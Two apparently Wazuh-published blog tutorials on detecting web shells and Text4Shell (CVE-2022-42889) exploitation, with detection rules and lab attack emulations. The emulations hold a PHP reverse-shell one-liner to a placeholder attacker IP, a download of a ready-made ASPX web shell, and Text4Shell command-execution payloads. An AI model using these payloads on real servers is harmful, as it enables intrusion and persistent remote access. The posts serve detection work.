Category: Engineering
Web shell attack detection with Wazuh
Cyber attackers are known to utilize various techniques to maintain persistence on compromised endpoints. These techniques ensure that attackers do not repeat exploitation phases when compromised web servers reboot, change credentials, or encounter interruptions that may cause loss of access. Installing a web shell on a web server is one way of achieving persistence.
Description of web shells
Web shells are web-based scripts or programs that give remote attackers unrestricted access to web servers. Malicious actors typically use it to maintain stealthy and persistent access to compromised web servers, like Internet Information Services (IIS), Apache, NGINX, and content management systems such as WordPress. These cyber attackers can get a foothold on a web server by exploiting application vulnerabilities or system misconfigurations via attacks such as SQL injection (SQLi), cross-site scripting (XSS), remote file inclusion (RFI), etc.
When cyber attackers compromise an endpoint, they inject web shells into the targeted web server’s directory and execute it via web browsers. With this, a permanent backdoor is set up for attackers to perform post-exploitation activities via HTTP requests. Some of these post-exploitation activities include; running commands, exfiltrating sensitive information, uploading malware, and defacing websites.
Most web shells follow the same concepts in their design and purpose. Web shells are generally written in programming languages supported by the victim web servers. Examples of supported languages include PHP, ASP, ASP.NET, Perl, Python, Ruby, Java, and Unix shell scripts.
Common indicators of web shells
- Recently uploaded or modified files: Malicious actors upload their web shells to web server directories or modify existing files in the web server directories to repurpose them as web shells. Files with recent timestamps that do not match with approved updates on the web server may indicate a compromise.
- Unusual network connections: Web shells can open ports to create bind and reverse shells which allow cyber attackers to access compromised web servers. As a result, unknown or unusual TCP or UDP traffic from a web server may indicate the presence of a web shell.
- Misconfigurations and modified headers: User requests are usually appended with the user agent and referer HTTP headers information. Cyber attackers can modify an application’s configuration file to allow command execution on the application headers on compromised web servers to keep a web shell undercover. For example, a normal user agent looks like the following:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
It can be modified to include a command like User-Agent: ifconfig
. This may indicate the presence of a web shell.
- Obfuscation techniques: Cyber attackers employ encoding, compression, and replacement techniques to hide code and avoid being detected by security systems or other attackers. For example, an attacker can use the PHP’s
base64()
andgzdeflate()
functions to obfuscate commands by encoding and compressing them into unreadable formats. Then, use theeval()
orassert()
function to parse the data decoded withbase64_decode()
and uncompressed withgzinflate()
. Files with these functions that web admins do not explicitly add may indicate a web shell attack.
Environment setup
This blog post focuses on PHP and ASP.NET programming languages because of their widespread usage for web applications, making them excellent for writing web shells. We use the following endpoints to demonstrate the ability of Wazuh to detect web shells:
- A Centos 7 server that runs Wazuh 4.3.10. Follow the Quickstart installation guide to install the Wazuh central components.
- An Ubuntu 22 victim endpoint that runs the Wazuh agent 4.3.10. This endpoint runs an Apache web server for PHP web applications. Use this Wazuh guide to install and enroll the Wazuh agent.
- A Windows 11 victim endpoint that runs the Wazuh agent 4.3.10. This endpoint runs an IIS web server for ASP.NET web applications. Use this Wazuh guide to install and enroll the Wazuh agent.
- A Parrot OS endpoint to perform attacks against the web servers.
Setup the Apache web server on the Ubuntu endpoint
1. Install the Apache web server to serve web applications with the following commands:
$ sudo apt update $ sudo apt install apache2
2. Install PHP 8.1 to run PHP applications:
$ sudo apt install --no-install-recommends php8.1
The --no-install-recommends
flag ensures that the package manager does not install additional packages.
3. To verify the installation, visit the URL: http://<UBUNTU_IP>
to see the Apache web server homepage.
Setup the IIS web server on the Windows endpoint
Go to the Windows start menu, type appwiz.cpl
, and open the application. Click on Turn Windows features on or off, expand Internet Information Services and enable the following features:
- Expand Web Management Tools, and select
IIS Management Console
. - Expand World Wide Web Services, then Application Development Features, and select
.Net
Extensibility 3.5
,.Net Extensibility 4.8
,ASP
,ASP.NET 3.5
,ASP.NET 4.8
,ISAPI Extensions
,ISAPI Filters
. - Expand Common HTTP Features and select
Directory Browsing
,Http Errors
,Static Content
. - Expand Health and Diagnostics and select
Http Logging
. - Expand Performance Features and select
Static Content Compression
. - Click OK and click Let Windows update download the files for you to download and install the features.
- To verify the installation, visit the URL:
http://<WINDOWS_IP>
to see the IIS web server homepage.
Attack scenario
The Ubuntu endpoint runs an Apache web server with PHP installed to interpret and execute PHP code. The Windows endpoint runs the Windows IIS web server to interpret ASP.NET code.
As web shells are post-exploitation malware, we assume that the attacker has initial access to the endpoints. The cyber attacker’s goal is to maintain persistence on the compromised web server and perform post-exploitation activities, including the ability to add, execute, and delete files, create reverse shells, and command execution.
Detection techniques
Web shells exist in different variants and can perform a wide range of activities, making them difficult to detect. We use the following capabilities of Wazuh to detect the presence of PHP and ASP.NET web shells on compromised endpoints.
Using file integrity monitoring (FIM) to detect the creation and modification of web shell files
The Wazuh FIM module can detect file changes on web-accessible directories in near real-time and alert system administrators. We use this module to detect when PHP and ASP.NET files are created or modified in the /var/www/html/
and C:inetpubwwwroot
default web root directories of Ubuntu and Windows, respectively. Additionally, FIM scans the contents of the files to monitor for signatures of web shells when the files are modified.
Note
Replace the default web root directory in the configurations below if you use a different directory in your environment.
Ubuntu endpoint configuration
1. Add the following configuration to the Wazuh agent /var/ossec/etc/ossec.conf
file within the <syscheck>
block. This detects file changes in the /var/www/html/
directory.
<directories realtime="yes" check_all="yes" report_changes="yes">/var/www/html</directories>
2. Restart the Wazuh agent to apply the configuration changes:
$ sudo systemctl restart wazuh-agent
Windows endpoint configuration
1. Add the following configuration to the C:Program Files (x86)ossec-agentossec.conf
file within the <syscheck>
block. This detects file changes in the C:inetpubwwwroot
directory.
<directories realtime="yes" check_all="yes" report_changes="yes">C:inetpubwwwroot</directories>
2. Run PowerShell as Administrator and restart the Wazuh agent to apply the configuration changes:
> Restart-Service -Name wazuh
Wazuh server configuration
1. Create a custom rules file webshell_rules.xml
in the /var/ossec/etc/rules/
directory. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml
file to trigger alerts when PHP and ASP.NET files are created or modified in the /var/www/html/
and C:inetpubwwwroot
web server directories. However, it is essential to examine other file types, as web shells can be embedded in different files.
<group name="linux, webshell, windows,"> <!-- This rule detects file creation. --> <rule id="100500" level="12"> <if_sid>554</if_sid> <field name="file" type="pcre2">(?i).php$|.phtml$|.php3$|.php4$|.php5$|.phps$|.phar$|.asp$|.aspx$|.jsp$|.cshtml$|.vbhtml$</field> <description>[File creation]: Possible web shell scripting file ($(file)) created</description> <mitre> <id>T1105</id> <id>T1505</id> </mitre> </rule> <!-- This rule detects file modification. --> <rule id="100501" level="12"> <if_sid>550</if_sid> <field name="file" type="pcre2">(?i).php$|.phtml$|.php3$|.php4$|.php5$|.phps$|.phar$|.asp$|.aspx$|.jsp$|.cshtml$|.vbhtml$</field> <description>[File modification]: Possible web shell content added in $(file)</description> <mitre> <id>T1105</id> <id>T1505</id> </mitre> </rule> <!-- This rule detects files modified with PHP web shell signatures. --> <rule id="100502" level="15"> <if_sid>100501</if_sid> <field name="changed_content" type="pcre2">(?i)passthru|exec|eval|shell_exec|assert|str_rot13|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|show_source|proc_open|pcntl_exec|execute|WScript.Shell|WScript.Network|FileSystemObject|Adodb.stream</field> <description>[File Modification]: File $(file) contains a web shell</description> <mitre> <id>T1105</id> <id>T1505.003</id> </mitre> </rule> </group>
2. Restart the Wazuh manager to apply the configuration changes:
$ sudo systemctl restart wazuh-manager
Using custom Wazuh rules to detect web shell actions
Wazuh allows you to write custom rules that trigger alerts when specific conditions are detected in logs. We integrate Wazuh with auditd on Linux endpoints and Sysmon on Windows to enrich the log sources for better security.
Ubuntu endpoint
Auditd (short for Linux Audit Daemon) is an auditing framework that collects and stores system events such as operating system calls and functions. Using auditd, we can monitor system commands, and network connections performed by a web server user and write rules to alert when detected.
1. Update system packages and install auditd using the following command:
$ sudo apt update $ sudo apt install auditd
2. Forward the auditd logs to the Wazuh server for analysis by adding the following configuration to the Wazuh agent /var/ossec/etc/ossec.conf
file:
<ossec_config> <localfile> <location>/var/log/audit/audit.log</location> <log_format>audit</log_format> </localfile> </ossec_config>
3. Obtain the Apache web server’s user id by executing the following command:
$ sudo apachectl -S
VirtualHost configuration: *:80 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1) ServerRoot: "/etc/apache2" Main DocumentRoot: "/var/www/html" Main ErrorLog: "/var/log/apache2/error.log" Mutex mpm-accept: using_defaults Mutex watchdog-callback: using_defaults Mutex default: dir="/var/run/apache2/" mechanism=default PidFile: "/var/run/apache2/apache2.pid" Define: DUMP_VHOSTS Define: DUMP_RUN_CFG User: name="www-data" id=33 Group: name="www-data" id=33
We can see that the id of the Apache web server user www-data
is 33
.
4. Add the following to the auditd /etc/audit/rules.d/audit.rules
configuration file. Replace <USER_ID>
with the user id obtained in step 3 above.
## Auditd rules that detect command execution from user www-data. -a always,exit -F arch=b32 -S execve -F uid=<USER_ID> -F key=webshell_command_exec -a always,exit -F arch=b64 -S execve -F uid=<USER_ID> -F key=webshell_command_exec ## Auditd rules that detect network connections from user www-data. -a always,exit -F arch=b64 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect -a always,exit -F arch=b64 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect -a always,exit -F arch=b32 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect -a always,exit -F arch=b32 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect
5. Restart auditd and Wazuh agent to apply the configuration changes:
$ sudo systemctl restart auditd $ sudo systemctl restart wazuh-agent
Windows endpoint
System Monitor (Sysmon) is a Windows system service that monitors and logs system activity to the Windows event log. It enriches the logs with detailed information about process creations, network connections, and more. For example, Sysmon reveals the IIS worker process w3wp.exe
that processes requests sent to the IIS web server. IIS has a security feature called the application pool identity that allows you to run an application pool under a unique account.
This account is called DefaultAppPool
by default. With this account, the IIS worker process only runs with user privileges. Cyber attackers abuse this process to open PowerShell or cmd programs to run shell commands.
Perform the following steps to set up Sysmon and configure Wazuh to process its logs:
1. Download the Sysmon installer and the configuration file sysmonconfig.xml.
2. Install Sysmon with the configuration file using PowerShell with Administrator privileges:
> .Sysmon64.exe -accepteula -i sysmonconfig.xml
3. Add the following configuration to the C:Program Files (x86)ossec-agentossec.conf
file to capture and forward Sysmon event logs to the Wazuh manager:
<ossec_config> <localfile> <location>Microsoft-Windows-Sysmon/Operational</location> <log_format>eventchannel</log_format> </localfile> </ossec_config>
4. Restart the Wazuh agent to apply the configuration changes:
> Restart-Service -Name wazuh
Wazuh server configuration
- Add the following rules to the
/var/ossec/etc/rules/webshell_rules.xml
configuration file to detect web shell command execution and established network connections:
Note
Replace DefaultAppPool
in the ruleset below if you have changed the default identity account in your environment.
<!-- Linux Rules. --> <group name="auditd, linux, webshell,"> <!-- This rule detects web shell command execution. --> <rule id="100520" level="12"> <if_sid>80700</if_sid> <field name="audit.key">webshell_command_exec</field> <description>[Command execution ($(audit.exe))]: Possible web shell attack detected</description> <mitre> <id>T1505.003</id> <id>T1059.004</id> </mitre> </rule> <!-- This rule detects web shell network connections. --> <rule id="100521" level="12"> <if_sid>80700</if_sid> <field name="audit.key">webshell_net_connect</field> <description>[Network connection via $(audit.exe)]: Possible web shell attack detected</description> <mitre> <id>TA0011</id> <id>T1049</id> <id>T1505.003</id> </mitre> </rule> </group> <!-- Windows Rules. --> <group name="sysmon, webshell, windows,"> <!-- This rule detects web shell command execution. --> <rule id="100530" level="12"> <if_sid>61603</if_sid> <field name="win.eventdata.parentImage" type="pcre2">(?i)w3wp.exe</field> <field name="win.eventdata.parentUser" type="pcre2">(?i)IISsAPPPOOL\\DefaultAppPool</field> <description>[Command execution ($(win.eventdata.commandLine))]: Possible web shell attack detected</description> <mitre> <id>T1505.003</id> <id>T1059.004</id> </mitre> </rule> <!-- This rule detects web shell network connections. --> <rule id="100531" level="12"> <if_sid>61605</if_sid> <field name="win.eventdata.image" type="pcre2">(?i)w3wp.exe</field> <field name="win.eventdata.user" type="pcre2">(?i)IISsAPPPOOL\\DefaultAppPool</field> <description>[Network connection]: Possible web shell attempting network connection on source port: $(win.eventdata.sourcePort) and destination port: $(win.eventdata.destinationPort)</description> <mitre> <id>TA0011</id> <id>T1049</id> <id>T1505.003</id> </mitre> </rule> </group>
2. Restart the Wazuh manager to apply the configuration changes:
$ sudo systemctl restart wazuh-manager
Using command monitoring to monitor network connections of attack attempts
In this section, we use command monitoring to complement the use of auditd in the Linux endpoint. It is to get additional information about the IP addresses and ports where attacks originate.
Ubuntu endpoint configuration
1. Add the following settings to the Wazuh agent /var/ossec/etc/ossec.conf
file. It configures the command that executes on the endpoint.
<ossec_config> <localfile> <log_format>full_command</log_format> <command>ss -nputw | egrep '"sh"|"bash"|"csh"|"ksh"|"zsh"' | awk '{ print $5 "|" $6 }'</command> <alias>webshell connections</alias> <frequency>120</frequency> </localfile> </ossec_config>
Note
The <frequency>
tag defines how often the command runs in seconds. The above command runs every 120 seconds. You can configure a value that suits your environment.
2. Restart the Wazuh agent to apply the above configuration changes:
$ sudo systemctl restart wazuh-agent
Wazuh server configuration
1. Add the following decoders to the /var/ossec/etc/decoders/local_decoder.xml
configuration file to detect patterns of network connections established by web shells on web servers:
<!-- Decoder for web shell network connection. --> <decoder name="network-traffic-child"> <parent>ossec</parent> <prematch offset="after_parent">^output: 'webshell connections':</prematch> <regex offset="after_prematch" type="pcre2">(d+.d+.d+.d+):(d+)|(d+.d+.d+.d+):(d+)</regex> <order>local_ip, local_port, foreign_ip, foreign_port</order> </decoder>
2. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml
file to detect patterns of network connections established by web shells on web servers:
<!-- This rule detects network connections from scripts. --> <group name="linux, webshell,"> <rule id="100510" level="12"> <match>ossec: output: 'webshell connections'</match> <description>[Network connection]: Script attempting network connection on source port: $(local_port) and destination port: $(foreign_port)</description> <mitre> <id>TA0011</id> <id>T1049</id> <id>T1505.003</id> </mitre> </rule> </group>
3. Restart the Wazuh manager to apply the configuration changes:
$ sudo systemctl restart wazuh-manager
Attack emulation
To demonstrate how web shell attacks work on compromised endpoints, perform the following steps on Ubuntu and Windows endpoints:
Steps to perform the attack against the Ubuntu endpoint
Ubuntu endpoint
Execute the following commands with root user privilege:
1. Create a file, for example, webshell-script.php
in the /var/www/html
web server directory:
# touch /var/www/html/webshell-script.php
2. Modify the file by adding random content, for example, “Hello world!” using the following command:
# echo 'Hello world!' > /var/www/html/webshell-script.php
3. Replace <PARROTOS_IP>
with the IP address of the attacker endpoint in the following command:
# echo -e "<?php exec('/bin/bash -c "bash -i >& /dev/tcp/<PARROTOS_IP>/4444 0>&1"');?>" > /var/www/html/webshell-script.php
This command replaces the content of the file /var/www/html/webshell-script.php
with a web shell.
Parrot OS endpoint
On the terminal, use netcat (nc), installed by default, to listen on port 4444
using the following command:
$ nc -lvp 4444
2. Access the web shell from the web browser on the URL: http://<UBUNTU_IP>/webshell-script.php
to establish a reverse shell for the Ubuntu endpoint.
3. On the terminal running netcat, a reverse shell connection is established. Execute some commands like whoami
, cat /etc/passwd
, etc.
View the alerts
On the Wazuh dashboard, navigate to the Security events section and visualize the triggered alerts:
Steps to perform the attack against the Windows endpoint
Windows endpoint
Run PowerShell as Administrator and execute the following steps:
1. Create a file, for example, webshell-script.aspx
in the C:inetpubwwwroot
web server directory:
> New-Item -Path 'C:inetpubwwwrootwebshell-script.aspx' -ItemType File
2. Modify the file by adding random content, for example, “Hello world!” using the following command:
> Set-Content -Path 'C:inetpubwwwrootwebshell-script.aspx' -Value 'Hello world!'
3. Download a copy of a web shell and replace the file content of C:inetpubwwwrootwebshell-script.aspx
using the following commands:
> Invoke-WebRequest -OutFile 'C:UsersPublicDownloadswebshell.aspx' -Uri https://privdayz.com/cdn/txt/aspx.txt > copy 'C:UsersPublicDownloadswebshell.aspx' 'C:inetpubwwwrootwebshell-script.aspx'
Parrot OS endpoint
1. On the Parrot OS endpoint, listen on port 4444
using the following command:
$ nc -lvp 4444
2. Access the web shell from the web browser on the URL: http://<WINDOWS_IP>/webshell-script.aspx
. The web shell password is admin
. Under the CmdShell menu, run commands like whoami
, ipconfig
, etc.
3. Under the PortMap menu, input the IP address of the Parrot OS endpoint for Remote Ip, input port 4444
for Remote Port, input port 5555
for Local Port, then click MapPort.
View the alerts
On the Wazuh dashboard, navigate to the Security events section and visualize the triggered alerts.
Key takeaways
Web shells usually follow the same concept of maintaining persistence on compromised web servers. It relies on creating or modifying files in web-accessible directories, performing network connections for file uploads and reverse shells, and executing commands for further exploitations.
We have shown that Wazuh can detect when attackers create or modify PHP or ASP.NET files to include web shells using FIM and command monitoring to detect network connections from web shells. Additionally, we have integrated auditd and Sysmon with Wazuh to enrich web server logs to detect command execution and network connections on the compromised endpoints.
Despite this, we strongly recommend organizations prevent post-exploitation activities from happening in the first place. Scanning and patching system and application vulnerabilities and performing security policy monitoring for system misconfigurations can achieve this. For detailed information, you can visit our vulnerability detection and security configuration assessment guide.
References
- Web shell
- Introduction to web shells (Part 1 – 5).
- Mitigating web shells.
- Application Pool Identities.
- Design of software to search ASP web shells.
The post Web shell attack detection with Wazuh appeared first on Wazuh.
Detecting Apache Text4Shell (CVE-2022-42889) with Wazuh
A vulnerability in the Apache Commons Text library called Text4Shell was discovered in October 2022. This vulnerability exists in versions 1.5 through 1.9 of the popular Java library. It allows remote code execution and other malicious actions through the exploitation of the StringSubstitutor
API. The vulnerability is identified as CVE-2022-42889 and has a CVSSv3 score of 9.8 out of 10.
The Apache Commons Text library includes a mechanism for interpolating variables, allowing users to replace certain bits of text with another according to a template. The default template for this library is ${prefix:[options]:data}
, where the prefix
defines the algorithm for processing data
from options
.
In this blog post, we use Wazuh to detect vulnerable versions of Apache Commons Text Library and monitor the endpoints for attempts to exploit this vulnerability.
Exploitation conditions for Text4Shell
The following conditions must be met for Text4Shell to be exploitable:
- Apache Commons Text version 1.5 through 1.9 installed on the victim endpoint.
- The application using the vulnerable library must use
org.apache.commons.text.StringSubstitutor
and one of the following prefixes with the default configuration (dns
,script
,url
). - The application must accept and process untrusted data input.
Exploitation examples
If an attacker has the ability to modify a template, he can carry out the following types of attacks:
Attack | Prefix | Examples |
---|---|---|
Remote code execution | script | ${script:javascript:java.lang.Runtime.getRuntime().exec(‘touch /tmp/foo’)} ${script:JEXL:”.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘touch /tmp/pwned’)} |
Sending information through DNS queries to malicious domains. | dns | ${dns:address|commons.apache.org} |
Disclosure of internal network information via HTTP (HTTPS) requests | url | ${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889} |
Detection with Wazuh
Requirements
1. A pre-built ready-to-use Wazuh OVA 4.3.10 Follow this guide to download the virtual machine.
2. An Ubuntu 22.04 endpoint with a Wazuh agent installed and enrolled to the Wazuh server. A Wazuh agent can be installed by following the Deploying Wazuh agents guide.
Ubuntu 22.04 endpoint
In order to test the Text4shell
vulnerability, we used the vulnerable application in this Proof of Concept.
1. Install OpenJDK and Maven:
$ sudo apt update && sudo apt install openjdk-11-jdk $ cd /tmp $ sudo wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz $ sudo tar -xvf apache-maven-3.6.3-bin.tar.gz $ sudo mv apache-maven-3.6.3 /opt/
2. Set the environment parameters for Maven:
$ M2_HOME='/opt/apache-maven-3.6.3' $ PATH="$M2_HOME/bin:$PATH" $ export PATH
3. Download and build the vulnerable application:
$ sudo apt install git $ sudo git clone https://github.com/securekomodo/text4shell-poc.git $ cd text4shell-poc $ sudo ./mvnw clean install
This creates the ./target
folder in the current working directory. Within that folder is the JAR file text4shell-poc-0.0.1-SNAPSHOT.jar
4. Deploy the vulnerable application and enable logging:
$ sudo java -jar -Dserver.tomcat.basedir=tomcat -Dserver.tomcat.accesslog.enabled=true ./target/text4shell-poc-0.0.1-SNAPSHOT.jar
5. In a new terminal, forward the application logs to the Wazuh server by editing the agent /var/ossec/etc/ossec.conf
configuration file and specifying the path to the log file:
<localfile> <log_format>syslog</log_format> <location>/path/to/tomcat/access_log.x-x-x.log</location> </localfile>
This file is under tomcat/logs
in the current working directory for this use case.
Detecting vulnerable versions of Apache Commons Text library with Wazuh SCA
The Wazuh SCA module performs scans to discover misconfigurations in monitored endpoints. Policy files are written in YAML and contain rules to be tested against the actual configuration of the endpoint.
Ubuntu endpoint
1. Create a directory on the endpoint to hold local SCA policies:
$ sudo mkdir /home/local_sca_policies/
The custom SCA policies in the Wazuh default ruleset folders are not kept across updates. This is why we create the /home/local_sca_policies/
directory outside the Wazuh agent installation folder.
2. Create the text4shell_policy.yml
file in the local SCA policy directory on the endpoint:
$ sudo touch /home/local_sca_policies/text4shell_policy.yml
3. Change the owner and group of the policy file to wazuh:wazuh
so that it can be used by the Wazuh user:
$ sudo chown wazuh:wazuh /home/local_sca_policies/text4shell_policy.yml
4. Enable the policy in the Wazuh agent configuration file /var/ossec/etc/ossec.conf
by specifying the location of the policy file in the <SCA>
block:
<policies> <policy>/home/local_sca_policies/text4shell_policy.yml</policy> </policies>
5. Add the following content in your /home/local_sca_policies/text4shell_policy.yml
policy file:
policy: id: "text4shell_check" file: "text4shell_check.yml" name: "Text4Shell dependency check" description: "This document provides prescriptive guidance for identifying Text4shell vulnerability" references: - https://nvd.nist.gov/vuln/detail/CVE-2022-42889 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889 requirements: title: "Check if Java is present on the machine" description: "Requirements for running the SCA scan against machines with Java on them." condition: none Rules: - 'c:sh -c "java -version" -> r: not found' checks: - id: 10000 title: "Ensure Apache Commons Text earlier than v1.10 is not on the system" description: "The Apache Commons Text library is vulnerable to RCE on versions between 1.5 to 1.9." remediation: "Update the Apache Commons Text library to version 1.10." condition: none rules: - 'c:find / -regex ".*commons-text.*.jar" -type f -exec sh -c "unzip -p {} META-INF/MANIFEST.MF | grep Implementation-Version" ; -> r: 1.5| 1.6| 1.7| 1.8| 1.9'
The check 10000
searches for vulnerable versions of Apache Commons Text library on the endpoint. This SCA check will fail if a vulnerable version is found.
6. Restart the Wazuh agent to apply the changes:
$ sudo systemctl restart wazuh-agent
Detection results
We can confirm from the SCA dashboard that the endpoint currently has a vulnerable version of the Apache Commons Text Library installed.
Note
To implement this SCA policy across a group of agents, refer to the SCA section of Wazuh documentation.
Detecting Apache Text4Shell exploitation attempts
In order to detect the exploitation of this vulnerability, we write a rule that can match different exploit strings encoded in web requests.
Wazuh server
1. Edit the /var/ossec/etc/rules/local_rules.xml
file and add the following custom rules:
<group name="accesslog,text4shell,"> <!-- This rule matches arbitrary controlled input for exploitation using script, dns or url prefixes --> <rule id="100002" level="12"> <if_sid>31100</if_sid> <url type="pcre2">%24%7B(script%3A(javascript|JEXL)%3A|url%3AUTF-8%3A|dns%3A(address|canonical-name|name)%7C)</url> <description>Possible Text4Shell (CVE-2022-42889) exploitation attempt detected from $(srcip)</description> <mitre> <id>T1190</id> <id>T1203</id> <id>T1210</id> </mitre> </rule> </group>
2. Restart the Wazuh manager to apply the changes:
# systemctl restart wazuh-manager
Attack Emulation
To test the detection, send the following web requests to the vulnerable application from any device that has network connectivity with the endpoint:
1. Using the script
prefix:
$ curl http://<UBUNTU_IP>:8080/reflected?poc=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
This request allows the supplied JavaScript code to be executed. This example creates a file named foo
in the /tmp
directory of the monitored endpoint.
2. Using the DNS
prefix:
$ curl http://<UBUNTU_IP>:8080/reflected?poc=%24%7Bdns%3Aaddress%7Cwww.google.com%7D
This request performs a DNS query, or a reverse lookup to identify internal resources.
3. Using the URL
prefix:
$ curl http://<UBUNTU_IP>:8080/reflected?poc=%24%7Burl%3AUTF-8%3Ahttps%3A%2F%2Fnvd.nist.gov%2Fvuln%2Fdetail%2FCVE-2022-42889%7D
This lookup calls the specified URL to perform basic GET requests to internal resources.
Replace <UBUNTU_IP>
with the IP address of the monitored endpoint running the vulnerable application.
Detection results
Mitigations
Apache has released a patch for this vulnerability. Upgrading the Apache Commons Text Library version to 1.10 mitigates the vulnerability. Additionally, check the usage of org.apache.commons.text.StringSubstitutor
closely across your codebase and ensure untrusted user input isn’t being passed to vulnerable functions.
Conclusion
In this article, we demonstrate how to detect Text4shell
vulnerability by monitoring an endpoint for vulnerable versions of Apache Commons Text Library. To achieve this, we used the Wazuh SCA module and wrote custom rules to detect exploitation attempts on the monitored endpoint.
Wazuh is open source and free to use. It also has a fast-growing community. You can deploy Wazuh on-premises or as a cloud solution using the Wazuh cloud.
References
- CVE-2022-42889
- Text4Shell: A Vulnerability in Java library Apache Commons Text (CVE-2022-42889, Act4Shell)
- Dangerous hole in Apache Commons Text – like Log4Shell all over again
- Threat Advisory: Monitoring CVE-2022-42889 “Text4Shell” Exploit Attempts
The post Detecting Apache Text4Shell (CVE-2022-42889) with Wazuh appeared first on Wazuh.